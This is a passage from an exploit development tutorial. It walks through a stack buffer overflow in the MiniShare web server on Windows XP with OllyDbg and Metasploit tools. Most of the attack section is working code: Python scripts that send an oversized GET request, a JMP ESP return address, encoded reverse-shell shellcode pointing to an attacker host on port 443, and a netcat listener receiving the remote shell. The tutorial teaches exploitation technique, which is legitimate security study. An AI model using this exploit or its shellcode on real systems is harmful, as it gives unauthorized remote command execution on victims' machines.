

We can also start Minishare outside of the debugger, and use the File->Attach option to pick the process from a list and have the debugger then take control of that process.

This second method is often the way that we need to attach to processes which are started as services (e.g those managed in the Services Control panel in Windows), and these programs usually also need to be restarted outside of the debugger as well.

Where possible, I prefer to start the program within the debugger, because it captures control of the program at an earlier stage in that programs execution and you can restart the process from within the debugger as well.

If you ever have any issues with starting a program directly in the debugger (for example if the program terminates shortly after starting), keep in mind that you many need to control the starting and stopping of that program outside of the debugger and use the attach method to debug the program.

Whichever way we attach to MiniShare, once the debugger has control execution of the debugged program will pause in the debugger.


The program here is being controlled by the debugger, and if you wished you could use various OllyDbg commands to step through the various instructions you see on the screen to watch how the program operates. At this point we just want to let the program run until an exception occurs, so we can either hit the F9 key, the Run Program button on the toolbar (it looks like a Play icon), or use the Debug->Run option. This will allow the program to run on its own within the debugger until something happens that makes the debugger take control again, such as a breakpoint being hit or an exception occurring.

During this process we will be triggering exceptions in the debugged MiniShare process, and these exceptions will break the normal operating of the process. For this reason, you will need to restart the process in the debugger once you are ready to trigger the exception again. To do this with Minishare, you can use the Debug->Restart menu option, after which you will need to use the Run (F9) option to let the program run once more.


The OllyDbg Main Window

At this point we should briefly go over the main OllyDbg window so you know what you are looking at. The main OllyDbg window (or CPU window) is comprised of four panes.

The top left hand pane shows a list of instructions that are being executed by the CPU. The first column in this pane shows the memory address that the instruction is located at, the second column shows the machine language opcode of the instruction and the third column shows the assembled form of the instruction in MASM format (by default).

The bottom left hand pane shows a memory dump of the current section of memory in which execution is occurring. There are a variety of different view formats available but by default you will see the Hex output which shows the address of the memory, a hex dump and an ASCII equivalent.

In the top right hand pane you will see the various registers of the CPU which are used to support execution of code. Two registers that you may want to know about for the purpose of this tutorial are the EIP register, which contains the address of the instruction that the CPU will execute next, and ESP which contains a pointer to the current entry in an important memory structure called the stack.

In the bottom right hand pane you see the stack, which is a memory structure that contains a virtual pile of 32 bit (4 byte) addresses. The stack is a first in last, out structure in memory that programs use to store variables and to keep track of their position in code when functions are called. To get entries onto the stack you have to add them onto the top, and only the top most entry can be removed from the stack, so to get to the third entry down you first need to remove the two entries above.


Each of these different panes has different context sensitive menus that can be accessed via a right click and which will perform useful actions. Id encourage you to spend some time looking around this window and familiarising yourself with the layout before continuing.


Triggering the Vulnerability

Now that we have our program running in a debugger we need to know how to actually trigger the vulnerability so that we can analyse it in order to develop an exploit. If we know some of the details about how the vulnerability is trigger we can

By checking a security advisory for the vulnerability and by looking at an existing exploit we can see that the vulnerability is triggered by sending an overly large GET request to the system.

We can find out the standard format of a HTTP GET request by checking the HTTP RFC document or taking a packet capture of some web browser traffic, but basically a GET request contains a URI to be retrieved from a web server, followed by the HTTP protocol version, followed by other headers (some of which are optional), ended by two new lines.

Doing a packet capture of a request to www.google.com shows that the request starts with "GET / HTTP/1.1" then contains a number of other headers and is ended by two new line, carriage return characters.

We can try and reproduce the overflow by sending the following to the vulnerable server:

"GET [long string of A characters] HTTP/1.1[new_line, carriage_return x 2]"

We can send this via using the following Python script. In the script "\x41" is the hexadecimal value for the ASCII "A" character, and "\r\n" is a new line carriage return. You will need to modify the target_address variable to contain the address of your own victim system. Save this to a file called minisharesploit.py, and on a Linux system like BackTrack you will be able to run it by first marking it executable using "chmod +x minisharesploit.py", on Windows you will probably need to run this by directly calling the python interpreter at the command line like so "python minisharesploit.py". Python is white space sensitive so make sure you don't indent any of the commands.


#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer = "GET " + "\x41" * 2220 + " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Note that there is a space character within the double quotes AFTER the GET and a space character within the double quotes BEFORE the HTTP/1.1.

On Linux, run the script like so to trigger the exploit.


user@bt4pf:~$ ./minisharesploit.py

When we run this script and it sends the bad buffer to the application, we should see the debugger kick in and stop execution of the application when it detects an exception. In the debugger, we should see that the application crashes with an access violation reading 41414141, and the EIP register (in the top left hand pane) is pointing to 41414141. This means that part of the buffer we have sent to the application has been used to overwrite the value of this register EIP. Seeing this sort of exception in a debugger is a good indicator that a exploitable buffer overflow vulnerability has been found.


Taking Control of the Crash

A little more detail about the EIP register is probably required here. The CPU decides which instruction to execute next by reading the value of the EIP register and executing the instruction that is located at that memory address. For example if the EIP register contains the address 0x77daaf0a, and that memory address stores the codes \xff\xe4 (which are the machine language opcodes for the assembly instruction JMP ESP) then the CPU will execute that instruction, causing it to "jump" execution to the memory location stored in the ESP register. The value of the EIP register will then be set to the value of the ESP register, and the CPU will execute the instruction located in the memory address referenced by the ESP register. So, if the ESP register contained the value 0x01423908, a JMP ESP machine instruction would then cause EIP to be set to 0x01423908, and whatever machine language instruction was located at the memory address 0x01423908 would be executed next.

Consequently, in order to redirect execution for our exploit, we need to overwrite the EIP register with a memory location that contains a machine language instruction that will in turn point the EIP register to an area in which we can place our own code. The most obvious place for us to place our own code is within the same buffer of data we send to the vulnerable application to trigger the exception that allows the buffer overflow to occur.

Now we don't know the exact address of the memory location that we control via the buffer that we send, but we do know from checking the register values at the time of the crash that the ESP register points to a location within this buffer. Consequently, if we can redirect code execution to the memory location referred to by ESP, and if we place our own machine language instructions into the buffer location pointed to by ESP, then we will have successfully exploited the application to run our own code.


Finding a JMP ESP Instruction

The first step in doing this will be to overwrite the EIP address at the time of the crash with a known memory location containing machine language instruction that will redirect code into our buffer. Since the ESP register points into our buffer at the time of the crash the JMP ESP command discussed earlier will fit the bill nicely.

So how can we find a JMP ESP instruction that sits in a predictable location in memory that we can use? Well, there are a number of ways to achieve this, but my chosen method is to do it through the debugger.

First of all, open the View menu in Olly and select the Executable Modules option. This will bring up a new window showing all of the loaded executable modules that this process owns. For Minishare, we can see the minishare.exe at the top of the list, and then a number of Windows DLLs that have been loaded by Minishare to provide additional needed functionality. We can search within these executable modules for the JMP ESP instruction that we need.




Note: Now a quick note about this before we proceed any further. I am reproducing this exploit on Windows XP SP2. Windows XP does not have any protections in place to randomise the base location from which DLLs are loaded, so every time this application runs each DLL will be loaded into memory at the exact same starting address. This means that instructions located WITHIN the DLL will also be in the exact same address every time the program runs. Windows Vista and Windows 7 implement a protection called ASLR which results in certain DLLs (particularly Windows system DLLs) being loaded at randomised base locations, meaning that instructions within those DLLs will be at different memory addresses after a system restart. There are ways around this protection, but they are beyond the scope of this article. I'd suggest reproducing this only on Windows XP.

In addition to this little fact about ASLR, also keep in mind that with each Service Pack, the exact layout of certain system DLLs will change, and different language versions of the Windows OS may also have different DLL structures. What this means is that when searching for machine code instructions in DLLs, you may come up with slightly different memory addresses than I do, so aim to understand the process by which I discover these addresses rather than trying to copy the exact addresses I use.

Looking at our list of executable modules, we can pick almost any of these to locate our JMP ESP address, however there are some things we should consider when selecting. First of all, we want to avoid any address that contains a zero byte \x00. This character is considered a string terminator in the C programming language, and usually has the effect of breaking an exploit when it is included within a buffer. For a similar reason, we also want to avoid the line feed and carriage return characters \x0a and \x0d. This means that using any addresses from minishare.exe is out of the question because all of the addresses within this executable being with a zero byte (the base address is 0x00400000). In addition, where possible, it is preferable to use DLLs that come with the application itself, because these addresses don't change with different Operating System Service packs or Language versions, allowing the exploit to be more portable. Since there are no additional DLLs as part of MiniShare, we will have to settle for using one of the Windows DLLs that are loaded. Its best to pick fairly "major" DLLs that are less likely to change as a result of hotfixes. I usually use either shell32.dll or user32.dll. Lets search in shell32.dll first.

Right click on the entry for shell32.dll in the Executable Modules window, and select View Code in CPU.



Then right click in the CPU area (which should now be showing the code for the for the shell32.dll module - check the text after "module" in the title bar to confirm) and select Search for -> Command or use CTRL-F.


In the Find Command box type JMP ESP and hit Find.


In my system, this takes me to a JMP ESP command located at the memory address 0x7CA58265 of SHELL32.dll.


This address seems to be free of all the usual bad characters (\x00\x0a\x0d) so we will use this address to overwrite EIP. If the first address that appears when you search contains bad characters, you can find the next JMP ESP command by using Search for-> Next or hit CTRL-L.


Finding Offsets Within Our Buffer

Now that we have an address to use to overwrite EIP, we need to find the exact location within our buffer at which EIP is overwritten, so we can structure the buffer we send appropriately. We also need to find the location in our buffer where the ESP register points, so we can locate our machine language code there.

To do this, we can use a tool distributed with the Metasploit framework called pattern_create.rb. This tool creates a unique pattern of a specified length, which can be fed into a buffer sent to our vulnerable application that will then reveal the various offsets into our buffer where overwrites occur.

Lets generate a string of the appropriate length and put it into our skeleton exploit.

user@bt4pf:~$ cd /pentest/exploits/framework3/tools/
user@bt4pf:/pentest/exploits/framework3/tools$ ./pattern_create.rb 2220
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa....Cv4Cv5Cv6Cv7Cv8Cv9


Note that I have contracted the output of the pattern_create.rb tool in the above output and the below skeleton exploit for readability purposes. You need to paste the WHOLE of the output from pattern_create into your exploit.

Our exploit then becomes as follows:

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer = "GET "
buffer+= ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa....Cv4Cv5Cv6Cv7Cv8Cv9")
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Now we use the Debug->Restart option in OllyDbg to restart MiniShare and hit the Play button or F9 to let the application run, and we trigger the exploit again. Remember we will need to do this every time we want to re-trigger the crash associated with this vulnerability.

This time when our exception is caught by the debugger, we get an access violation with EIP pointing to 36684345 and ESP points to a memory location containing the text "Ch7Ch8h9....."


Lets find the offsets for these addresses using the Metasploit pattern_offset.rb tool.

user@bt4pf:/pentest/exploits/framework3/tools$ ./pattern_offset.rb 36684335
1787
user@bt4pf:/pentest/exploits/framework3/tools$ ./pattern_offset.rb Ch7C
1791

According to this EIP is overwritten at 1787 bytes into our buffer, and ESP points to a location 1791 bytes into our buffer. Lets restructure the buffer in our exploit to confirm that this is correct.
#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x41\x41\x41\x41" # EIP Should be overwritten here
buffer+= "\x90" * (1791 - len(buffer))
buffer+= "\xcc" * (2220 - len(buffer)) # ESP should point here
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

We restart the MiniShare application, and run the next exploit, and at the time of the crash we see that EIP now points to 41414141 and ESP is pointing immediately after our overwrite address.

So we now know the exact offsets we need in order to overwrite EIP with an address of our choosing, so we can proceed to add the correct data into our buffer.


Modifying the Exploit to Get Code Execution

First we will want to use the JMP ESP address we obtained earlier to overwrite EIP.

Now there is a trick to doing this that is required because of the little endian order of X86 compatible processors. Basically, little endian ordering means that the the significant byte in a number is placed in the leftmost position in registers, followed by the second least significant byte, all the way to the most significant byte on the right. To get our JMP ESP address of 7CA58265 into EIP we have to reorder the bytes to place the least significant byte first. The address 7CA58265 is made up of four bytes, 7C, A5, 82 and 65, where each byte is represented by two Heaxdecimal characters. To get this value from the stack (where the buffer overflow occurs) into the EIP register, we need to reorder the bytes as 65, 82, A5 and 7C or 6582A57C.

Lets write this into our exploit. Remember that your JMP ESP address could be different if you are using a different patch level or language version of Windows to me, so you should use the address you found using the method described earlier.

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.
buffer+= "\xcc" * (2220 - len(buffer)) # ESP points here.
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Lets restart MiniShare in our debugger and use the play button or F9 to let MiniShare run.

Before we send the exploit this time however, we will set a breakpoint on our overwrite address to confirm that execution is being correctly redirected. In the top left hand pane of the CPU window, right click and select Go to->Expression. In the window, enter the address of your JMP ESP instruction (7CA58265 in my case), and hit OK. Then with the JMP ESP instruction highlighted, hit the F2 key to add a breakpoint. The address portion of the CPU window for that particular instruction should turn red, which will indicate that the breakpoint is set. The breakpoint basically stops the execution of the program in the debugger when we reach that particular point in the code, and it will allow us to confirm that our JMP is happening as expected without letting our code just continue to run. (Although I have done something when structuring the buffer that will have a very similar effect - bonus points for anyone who works it out! Hint: It may involve those \xcc characters..)

Now send the exploit....

Once you do so, the crash should be triggered and execution should pause at the breakpoint you just specified. Now if you hit the F7 key, execution should "step" to the first of the \xcc characters from our sent buffer. If this does not happen, recheck your exploit making sure your offsets are correct, that you put your JMP ESP address into the buffer in the correct little endian order and that there are no \x00, \x0a, or \x0d bytes in your JMP ESP address.


Adding Shellcode to the Exploit

Now we have basic code execution, however our exploit still wont do anything useful until we place some machine language code into our buffer. For this we can use the Metasploit msfpayload tool to generate shellcode which we can add to the buffer. This is code made up of machine language opcodes that can do things such as open shells, run programs and so forth.

We will generate a reverse shell payload, which basically makes the exploited program initiate a TCP connection back to a listener on our local system, and then tunnels a shell over that connection.

We use the LHOST and LPORT parameters to connect back to our attacking system 192.168.20.11 on port 443. We use the 'C' parameter to get the output in c ctyle format. You should obviously use an IP address and port appropriate to your own attacking system. If you have problems with this command below you may need to change to the Metasploit directory, which is /pentest/exploits/framework3/ on BackTrack.

user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 C
/*
* windows/shell_reverse_tcp - 314 bytes
* http://www.metasploit.com
* LHOST=192.168.20.11, EXITFUNC=process, LPORT=443,
* ReverseConnectRetries=5
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\xc0\xa8\x14\x0b\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

Looking at the output we can see a potential problem, as there are a number of \x00, \x0a and \x0d characters in the output. To get around this we can use another Metasploit tool, msfencode, which will take raw shellcode as input and output an encoded version which omits a specified et of characters.

We modify the msfpayload command to use raw 'R' output, and pipe this into msfencode to use the X86 architecture, to get rid of bad characters '\x00\x0a\x0d' and to output in c style format.

user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -t c
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)

unsigned char buf[] =
"\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23"
"\x27\x31\x50\x1a\x83\xe8\xfc\x03\x50\x16\xe2\xd9\x64\xcb\xae"
"\x21\x95\x0c\xd1\xa8\x70\x3d\xc3\xce\xf1\x6c\xd3\x85\x54\x9d"
"\x98\xcb\x4c\x16\xec\xc3\x63\x9f\x5b\x35\x4d\x20\x6a\xf9\x01"
"\xe2\xec\x85\x5b\x37\xcf\xb4\x93\x4a\x0e\xf1\xce\xa5\x42\xaa"
"\x85\x14\x73\xdf\xd8\xa4\x72\x0f\x57\x94\x0c\x2a\xa8\x61\xa7"
"\x35\xf9\xda\xbc\x7d\xe1\x51\x9a\x5d\x10\xb5\xf8\xa1\x5b\xb2"
"\xcb\x52\x5a\x12\x02\x9b\x6c\x5a\xc9\xa2\x40\x57\x13\xe3\x67"
"\x88\x66\x1f\x94\x35\x71\xe4\xe6\xe1\xf4\xf8\x41\x61\xae\xd8"
"\x70\xa6\x29\xab\x7f\x03\x3d\xf3\x63\x92\x92\x88\x98\x1f\x15"
"\x5e\x29\x5b\x32\x7a\x71\x3f\x5b\xdb\xdf\xee\x64\x3b\x87\x4f"
"\xc1\x30\x2a\x9b\x73\x1b\x23\x68\x4e\xa3\xb3\xe6\xd9\xd0\x81"
"\xa9\x71\x7e\xaa\x22\x5c\x79\xcd\x18\x18\x15\x30\xa3\x59\x3c"
"\xf7\xf7\x09\x56\xde\x77\xc2\xa6\xdf\xad\x45\xf6\x4f\x1e\x26"
"\xa6\x2f\xce\xce\xac\xbf\x31\xee\xcf\x15\x44\x28\x47\x56\xff"
"\xa3\x9c\x3e\x02\xcc\xa3\x05\x8b\x2a\xc9\x69\xda\xe5\x65\x13"
"\x47\x7d\x14\xdc\x5d\x16\xb5\x4f\x3a\xe7\xb0\x73\x95\xb0\x95"
"\x42\xec\x55\x0b\xfc\x46\x48\xd6\x98\xa1\xc8\x0c\x59\x2f\xd0"
"\xc1\xe5\x0b\xc2\x1f\xe5\x17\xb6\xcf\xb0\xc1\x60\xa9\x6a\xa0"
"\xda\x63\xc0\x6a\x8b\xf2\x2a\xad\xcd\xfb\x66\x5b\x31\x4d\xdf"
"\x1a\x4d\x61\xb7\xaa\x36\x9c\x27\x54\xed\x25\x57\x1f\xac\x0f"
"\xf0\xc6\x24\x12\x9d\xf8\x92\x50\x98\x7a\x17\x28\x5f\x62\x52"
"\x2d\x1b\x24\x8e\x5f\x34\xc1\xb0\xcc\x35\xc0\xbb";


Place this into our exploit. There is one more thing we will also do here, and that is to add a few NOP instructions to the start of our shellcode. This will resolve issues that can be caused when certain types of encoded shellcode is run. NOPs are essentially No Operation instructions that do nothing. Adding a number of NOPs into the right place in an exploit (like just before shellcode) can help improve exploit stability.

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.
# msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -t c - x86/shikata_ga_nai 342 bytes
buffer+= "\x90" * 16
buffer+= ("\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23"
"\x27\x31\x50\x1a\x83\xe8\xfc\x03\x50\x16\xe2\xd9\x64\xcb\xae"
"\x21\x95\x0c\xd1\xa8\x70\x3d\xc3\xce\xf1\x6c\xd3\x85\x54\x9d"
"\x98\xcb\x4c\x16\xec\xc3\x63\x9f\x5b\x35\x4d\x20\x6a\xf9\x01"
"\xe2\xec\x85\x5b\x37\xcf\xb4\x93\x4a\x0e\xf1\xce\xa5\x42\xaa"
"\x85\x14\x73\xdf\xd8\xa4\x72\x0f\x57\x94\x0c\x2a\xa8\x61\xa7"
"\x35\xf9\xda\xbc\x7d\xe1\x51\x9a\x5d\x10\xb5\xf8\xa1\x5b\xb2"
"\xcb\x52\x5a\x12\x02\x9b\x6c\x5a\xc9\xa2\x40\x57\x13\xe3\x67"
"\x88\x66\x1f\x94\x35\x71\xe4\xe6\xe1\xf4\xf8\x41\x61\xae\xd8"
"\x70\xa6\x29\xab\x7f\x03\x3d\xf3\x63\x92\x92\x88\x98\x1f\x15"
"\x5e\x29\x5b\x32\x7a\x71\x3f\x5b\xdb\xdf\xee\x64\x3b\x87\x4f"
"\xc1\x30\x2a\x9b\x73\x1b\x23\x68\x4e\xa3\xb3\xe6\xd9\xd0\x81"
"\xa9\x71\x7e\xaa\x22\x5c\x79\xcd\x18\x18\x15\x30\xa3\x59\x3c"
"\xf7\xf7\x09\x56\xde\x77\xc2\xa6\xdf\xad\x45\xf6\x4f\x1e\x26"
"\xa6\x2f\xce\xce\xac\xbf\x31\xee\xcf\x15\x44\x28\x47\x56\xff"
"\xa3\x9c\x3e\x02\xcc\xa3\x05\x8b\x2a\xc9\x69\xda\xe5\x65\x13"
"\x47\x7d\x14\xdc\x5d\x16\xb5\x4f\x3a\xe7\xb0\x73\x95\xb0\x95"
"\x42\xec\x55\x0b\xfc\x46\x48\xd6\x98\xa1\xc8\x0c\x59\x2f\xd0"
"\xc1\xe5\x0b\xc2\x1f\xe5\x17\xb6\xcf\xb0\xc1\x60\xa9\x6a\xa0"
"\xda\x63\xc0\x6a\x8b\xf2\x2a\xad\xcd\xfb\x66\x5b\x31\x4d\xdf"
"\x1a\x4d\x61\xb7\xaa\x36\x9c\x27\x54\xed\x25\x57\x1f\xac\x0f"
"\xf0\xc6\x24\x12\x9d\xf8\x92\x50\x98\x7a\x17\x28\x5f\x62\x52"
"\x2d\x1b\x24\x8e\x5f\x34\xc1\xb0\xcc\x35\xc0\xbb")
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()


Testing the Exploit


To test our exploit, which is going to generate a reverse shell back to our system, we need to set up a listener on our local machine for the reverse shell to connect to. We will use netcat to do this, and on Linux we do this as root so that we have permission to bind to the privileged port of 443.

root@bt4pf:~# nc -nvvlp 443
listening on [any] 443 ...


Now we restart MiniShare in the debugger, set our breakpoint address once more on our JMP ESP address, and run the exploit. The program should pause execution at the breakpoint, and if we use the F7 key to step forward, we should end up at the start of our shellcode. Following ESP in the memory dump, we can do a quick visual inspection of the contents of memory to confirm that our shellcode has made it in unmolested. We then let the program run by using the F9 key or the play button.

Then going back to the listener, we can see that we have a shell.

root@bt4pf:~# nc -nvvlp 443
listening on [any] 443 ...
connect to [192.168.20.11] from (UNKNOWN) [192.168.10.27] 1101
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\MiniShare>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : lan
IP Address. . . . . . . . . . . . : 192.168.10.27
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.10.1

C:\Program Files\MiniShare>



We can try this again with the MiniShare server running outside of the debugger, and we should again get a shell.

root@giraffe:~# nc -nvvlp 443
listening on [any] 443 ...
connect to [192.168.20.11] from (UNKNOWN) [192.168.10.27] 1102
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\MiniShare>

That's it, the exploit is now complete!!!